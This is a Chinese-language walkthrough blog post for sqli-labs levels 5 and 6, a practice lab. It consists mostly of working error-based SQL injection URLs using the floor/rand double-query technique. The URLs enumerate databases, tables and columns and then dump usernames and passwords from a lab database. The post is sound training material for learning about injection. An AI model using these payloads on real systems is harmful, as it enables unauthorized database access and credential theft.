欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

sqli-labs练习(第五、六关)

程序员文章站 2022-08-13 09:27:54
这里写目录标题第五关查询库名但是查询表名查询字段查询username、password字段的值第六关第五关这一关,当输入正确的id时,会输出 You are in……,而输入错误的则什么都没有,只有个welcome。当使用"闭合时,没问题当使用'时,提示SQL语法中有错误有sql语法错误,于是想到了报错注入(floor报错、updatexml报错、ExtractValue报错)这里用到了floor()报错:http://172.16.11.222/sqli-labs/Less-5/?id...

第五关

这一关,当输入正确的id时,会输出 You are in……,而输入错误的则什么都没有,只有个welcome。
sqli-labs练习(第五、六关)sqli-labs练习(第五、六关)
当使用"闭合时,没问题
sqli-labs练习(第五、六关)
当使用'时,提示SQL语法中有错误
sqli-labs练习(第五、六关)
有sql语法错误,于是想到了报错注入(floor报错、updatexml报错、ExtractValue报错)
这里用到了floor()报错:

http://172.16.11.222/sqli-labs/Less-5/?id=1’ and (select 1 from (select count(),concat((payload),floor (rand(0)2))x from information_schema.tables group by x)a) --+

其中payload就是你要插入的SQL语句

count(*):函数返回给定选择中被选的函数
concat():连接字符串,比如 concat(‘a’,’b’) 就是ab
floor():向下取整
rand():随机数函数
rand(0):伪随机数,生成的随机数有规律
floor(rand(0)*2) :生成的随机数存在规律0110110011101
group_concat()函数的作用:将返回信息拼接成一行显示

Select concat((select database()));
执行的时候,先从子查询进行。因此先执行select database() 这个语句就会把当前的数据库查出来,然后把结果传入到concat函数。

floor报错注入满足的条件是数据库中要查询的数据至少3条以上

如果不明白的话,可以看看这个详细讲解双查询注入,感觉写的还挺明白的

查询库名

http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+
sqli-labs练习(第五、六关)提示说输出信息超过一行,说明这里数据库名组成的字符串长度超过了64位(group_concat()函数最大长度为64位),要用limit 来一个个输出
1、limit 0,1
http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+
sqli-labs练习(第五、六关)查出了名为information_schema的数据库

2、limit 1,1
http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 1,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+
sqli-labs练习(第五、六关)查出了名为challenges的数据库

3、limit 2,1
http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 2,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+
sqli-labs练习(第五、六关)查出来名为mysql的数据库

4、limit 3,1
http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 3,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+
sqli-labs练习(第五、六关)查出来名为performance_schema的数据库

5、limit 4,1
http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 4,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+
sqli-labs练习(第五、六关)查出来名为security的数据库
然后是limit 5,1 ,是名为test的数据库

直到limit 6,1,不报错.说明只有6条数据库
sqli-labs练习(第五、六关)

但是

在网上看到下面这条命令,能一步到位找到名为security的数据库

http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
sqli-labs练习(第五、六关)
对这个还不是很理解,所以不知道为啥可以…………

查询表名

这里利用security库,在limit 3,1里找到了users

http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat(((select concat(table_name) from information_schema.tables where table_schema='security' limit 3,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
sqli-labs练习(第五、六关)

查询字段

下面查询users表里的字段
limit 0,1 是id
http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+
sqli-labs练习(第五、六关)



limit 1,1 是username

http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 1,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+
sqli-labs练习(第五、六关)



limit 2,1 是password

http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 2,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+
sqli-labs练习(第五、六关)

查询username、password字段的值

同样 limit 0,1
http://172.16.11.222/sqli-labs/Less-5/?id=1' and(select 1 from (select count(*),concat((select concat(username,': ',password,';') from security.users limit 0,1),floor(rand()*2)) as x from security.users group by x) as a)--+
sqli-labs练习(第五、六关)
limit 1,1
http://172.16.11.222/sqli-labs/Less-5/?id=1' and(select 1 from (select count(*),concat((select concat(username,': ',password,';') from security.users limit 1,1),floor(rand()*2)) as x from security.users group by x) as a)--+
sqli-labs练习(第五、六关)…………………………
…………………………
limit n,1

第六关

与第五关同样操作,不过单引号换成了双引号

本文地址:https://blog.csdn.net/weixin_45663905/article/details/107410090

相关标签: sql注入 sql